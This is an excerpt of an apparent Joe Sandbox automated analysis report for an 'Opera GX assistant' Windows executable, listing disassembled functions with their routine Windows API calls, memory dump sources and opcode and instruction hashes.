                                                                                                                                                                                                                • Opcode ID: 8236a5b7b3e36faa0891f74f9383a1170d0d145e753109a62820122de36d3916
                                                                                                                                                                                                                • Instruction ID: d5dacd1b3fb98c21124dc1d33f48c6efd6003bf6c14ff8fbee7813475d9ee9aa
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8236a5b7b3e36faa0891f74f9383a1170d0d145e753109a62820122de36d3916
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 47F0E232B042006FC2305F6A9E8095BBBE9EBC4718314883FF95ED6351D634F8848628
                                                                                                                                                                                                                Function 0040E008 Relevance: 4.2, APIs: 3, Instructions: 462COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 0040E073
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0040E0BD
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1033339047-0
                                                                                                                                                                                                                • Opcode ID: 681626a6d2388e1b46a499882a508d01bee9b587e2816172e644e9a69fa16b25
                                                                                                                                                                                                                • Instruction ID: 786736d933f003369f23863796d1619ed635801a4e32b20000a897f24b9a5b67
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 681626a6d2388e1b46a499882a508d01bee9b587e2816172e644e9a69fa16b25
                                                                                                                                                                                                                • Instruction Fuzzy Hash: C1121771A00209DFCB14DFA6C8908A9BBB5FF48304B14497EF91AA7391DB39ED55CB44
                                                                                                                                                                                                                Function 004026FB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 0040271F
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: GlobalMemoryStatus
                                                                                                                                                                                                                • String ID: @
                                                                                                                                                                                                                • API String ID: 1890195054-2766056989
                                                                                                                                                                                                                • Opcode ID: 10a1a0dca67190ae1b2f8bab539977c25a6fc9f7f1c138144fabb0a44fa63ec7
                                                                                                                                                                                                                • Instruction ID: c3a6faa0462241a280be2d9353c1e47863c81d4e618bf62eab88ba7ec8474a40
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 10a1a0dca67190ae1b2f8bab539977c25a6fc9f7f1c138144fabb0a44fa63ec7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1DF0AF306042088ACF15AB70DF4DA5A76A5BB00308F10463AE012F71D0DBF89981864C
                                                                                                                                                                                                                Function 00411AF9 Relevance: 3.2, APIs: 2, Instructions: 200COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0040FBFC: _CxxThrowException.MSVCRT(?,00416250), ref: 0040FC16
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00415DDC,?,00415D94), ref: 00411C17
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00415DDC,?,00415D94), ref: 00411D6F
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$ExceptionThrow
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2803161813-0
                                                                                                                                                                                                                • Opcode ID: 0c164981a5a92db9c49ef73fd7bcc9fba8e28d72662414d650f596ad21b7640b
                                                                                                                                                                                                                • Instruction ID: a4732db55583ca78181ff33f67714ccec4ec82aa11d2dee84a4e715c00db3ea7
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0c164981a5a92db9c49ef73fd7bcc9fba8e28d72662414d650f596ad21b7640b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CE814E70A04609ABCB24DFA5C991AEEF7B1BF08304F10452FE615A7761E738B984CB58
                                                                                                                                                                                                                Function 0040F78D Relevance: 3.1, APIs: 2, Instructions: 135COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@H_prolog
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1329742358-0
                                                                                                                                                                                                                • Opcode ID: caad0199fcc4f04f30252f448b0a7f97c22d9f9acfc87625acf74ad1a3c28a8d
                                                                                                                                                                                                                • Instruction ID: efb2f00d33aa1ccf63bb6429db99bdc6da243e5c394d73c928979b154fe646cf
                                                                                                                                                                                                                • Opcode Fuzzy Hash: caad0199fcc4f04f30252f448b0a7f97c22d9f9acfc87625acf74ad1a3c28a8d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5B41C573800109AFCB25EBA5C945AEE7775EF05304B19813BE80177AE2D73C5E0D9A59
                                                                                                                                                                                                                Function 0040119E Relevance: 3.0, APIs: 2, Instructions: 42COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,00401498,00000003,?,004057DF,?,00000000), ref: 004011BE
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00401498,00000003,?,004057DF,?,00000000), ref: 004011E4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@??3@
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1936579350-0
                                                                                                                                                                                                                • Opcode ID: e5be92e29ea3999639b05ac6266f86f3b8ef3800ca7ff26467fec047451b197f
                                                                                                                                                                                                                • Instruction ID: fbffce2cb9c5a4c22f50dad7d41ebaab4f040ab4d9ad274b237e9742f84e4579
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e5be92e29ea3999639b05ac6266f86f3b8ef3800ca7ff26467fec047451b197f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 41F0A436210611ABC334DF6DC591867B3E4FF88355720883FE6D6CB6A1DA71B890C754
                                                                                                                                                                                                                Function 0040BEB6 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetFilePointer.KERNELBASE(?,?,?,?), ref: 0040BED1
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?), ref: 0040BEDF
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2976181284-0
                                                                                                                                                                                                                • Opcode ID: 2dc8cee5598d33c9ccf099f17d10e976f116823a694517a44c1af7d0a77e4e36
                                                                                                                                                                                                                • Instruction ID: 58a5dddce790eb067e59aca2af7185a8748fd17e24e05fc10a277d90b8df01f0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2dc8cee5598d33c9ccf099f17d10e976f116823a694517a44c1af7d0a77e4e36
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0DF0B7B5900208EFCB04CF95D8548EE7BB5EB89310B10C569F925A7390D7359A50DBA8
                                                                                                                                                                                                                Function 0040C169 Relevance: 3.0, APIs: 2, Instructions: 24memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SysAllocString.OLEAUT32(?), ref: 0040C181
                                                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,00415F74), ref: 0040C1A4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AllocExceptionStringThrow
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3773818493-0
                                                                                                                                                                                                                • Opcode ID: fb0b8424ea3c18422dfb4546465b5c411461c7c894348be57eca799396026cd2
                                                                                                                                                                                                                • Instruction ID: 9d709aa8e1cfb26431d9c10f6fda3bd1f7118755983c1d1d8d4145ebeb66b084
                                                                                                                                                                                                                • Opcode Fuzzy Hash: fb0b8424ea3c18422dfb4546465b5c411461c7c894348be57eca799396026cd2
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2EE06D31100308EBDB10AFA5D8819C67BE8EF04380B00C63FF908CA251E678D580CBD8
                                                                                                                                                                                                                Function 00401521 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 613200358-0
                                                                                                                                                                                                                • Opcode ID: dbb34b2e4072251dc078110682882d418f36cce4a624835a3449e5548cad85c0
                                                                                                                                                                                                                • Instruction ID: 5742f67201d23beaa9f8636bee72048afea15845169d910c3e0dc09cacb252b0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: dbb34b2e4072251dc078110682882d418f36cce4a624835a3449e5548cad85c0
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 14E086325015149FC720AF55E814DC7B3E4EF44315315856EF48ADB660CB78FC82CB84
                                                                                                                                                                                                                Function 0040CFDF Relevance: 2.5, APIs: 2, Instructions: 34COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0040CFEA
                                                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 0040D009
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3168844106-0
                                                                                                                                                                                                                • Opcode ID: 9e5b06dc87699637085a0abfbb9de17ca0a3ebb0801bf684ed8affee5a97ca5d
                                                                                                                                                                                                                • Instruction ID: f5706fc576ce77f3a24d7962246a0e1372d4318d431a8e20e1a1b6a23e370181
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9e5b06dc87699637085a0abfbb9de17ca0a3ebb0801bf684ed8affee5a97ca5d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 83F03036600214EBCB218F95DC08E9ABBB9EF8D760F10442AFA55A7261C771E811DBA4
                                                                                                                                                                                                                Function 0040F93C Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: H_prolog
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3519838083-0
                                                                                                                                                                                                                • Opcode ID: b310e02a71b0e9b0f57c8ff350f317a12e9997ed6537326e98dc413991563931
                                                                                                                                                                                                                • Instruction ID: 6846990a0b7c700b0e564570ba35e58a51d6e24bd287ea03595f4ec4833d5ae3
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b310e02a71b0e9b0f57c8ff350f317a12e9997ed6537326e98dc413991563931
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2521B530700209ABCB24EFA5D855BAE7774AF40308F10443EF41ABB691DB38ED09CB69
                                                                                                                                                                                                                Function 0040127E Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetFileAttributesW.KERNELBASE(?,?), ref: 004012C2
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3188754299-0
                                                                                                                                                                                                                • Opcode ID: 99bbeda3998a939772efb656e1c99ec3b49f936e01c00e27716b5450bac36e45
                                                                                                                                                                                                                • Instruction ID: 8804b63aef8d5166b786aa1d470143da4cafa9e74bcb3062b324a687b6a94c0e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 99bbeda3998a939772efb656e1c99ec3b49f936e01c00e27716b5450bac36e45
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1FF05832100602EFD720ABA9D840AA7B7F5BB94311F04892EE586F26E0D738A885CB55
                                                                                                                                                                                                                Function 0040BF1C Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0040BE4B: CloseHandle.KERNELBASE(00418818,?,0040BF27,00000000,?,0040BF6F,00405C0F,80000000,?,?,?,0040BF91,?,00418818,00000003,00000080), ref: 0040BE56
                                                                                                                                                                                                                • CreateFileW.KERNELBASE(00418818,00000000,?,00000000,00405C0F,00000000,00000000,00000000,?,0040BF6F,00405C0F,80000000,?,?,?,0040BF91), ref: 0040BF3E
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseCreateFileHandle
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3498533004-0
                                                                                                                                                                                                                • Opcode ID: 8d75af9a6c217c950491c3631b52d086b6a135f3c5a9e976b3a65ef09916f851
                                                                                                                                                                                                                • Instruction ID: 90411d92f9d8fc56c138e00aa788ce8dd8e9066487309eaec17cc9a92b37b09c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8d75af9a6c217c950491c3631b52d086b6a135f3c5a9e976b3a65ef09916f851
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0EE04F360002196BCF215F649C01BCA3B95AF09360F104126BB24A61E0C772D465AB9C
                                                                                                                                                                                                                Function 0040C05D Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,0040C67B,00000001,00418818,00418818,0041449C,?,004055C8,?,?), ref: 0040C080
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileWrite
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3934441357-0
                                                                                                                                                                                                                • Opcode ID: f87172bd460ca3b54a79ebd290cb322ba78c3867cc27832738d70ce0c19e6544
                                                                                                                                                                                                                • Instruction ID: b8ac05db2d4a94fa31fca8da97501392d380f31373f02cc2359ce7771c6d952e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f87172bd460ca3b54a79ebd290cb322ba78c3867cc27832738d70ce0c19e6544
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5BE03234640208FFCB00CFA0C800B8E3BB9AB08714F20C028F8189A2A0C3399A10EF14
                                                                                                                                                                                                                Function 00406E34 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _beginthreadex
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3014514943-0
                                                                                                                                                                                                                • Opcode ID: b45036c3ba1d8840ed147fa51aa3b54808154657542cc12759115a57a724e90e
                                                                                                                                                                                                                • Instruction ID: 247003c3cbeddfb2b625e3bdb8727c8b4f2641553652fddb98de5e4cb0adc6ee
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b45036c3ba1d8840ed147fa51aa3b54808154657542cc12759115a57a724e90e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4AD05EF6900208BFCF01EFE0CC05CEB3BADEF08244B008464BD05C2110E672DA109BB0
                                                                                                                                                                                                                Function 00411D7E Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: H_prolog
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3519838083-0
                                                                                                                                                                                                                • Opcode ID: 79dd5a53ceaa10d323906d6c4c09a067708a8351cba9fff8f600675c26666cc2
                                                                                                                                                                                                                • Instruction ID: 72e6a8a8c5ad423b706d1c8477e98d2bf6fe7c2d1236b40809de9acfe940e46e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 79dd5a53ceaa10d323906d6c4c09a067708a8351cba9fff8f600675c26666cc2
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 54D05B72A00114ABD7159F85DD05BDEFB78EF81359F10816FF10151110D3BD6A41856D
                                                                                                                                                                                                                Function 0040BFA2 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 0040BFB8
                                                                                                                                                                                                                Memory Dump Source
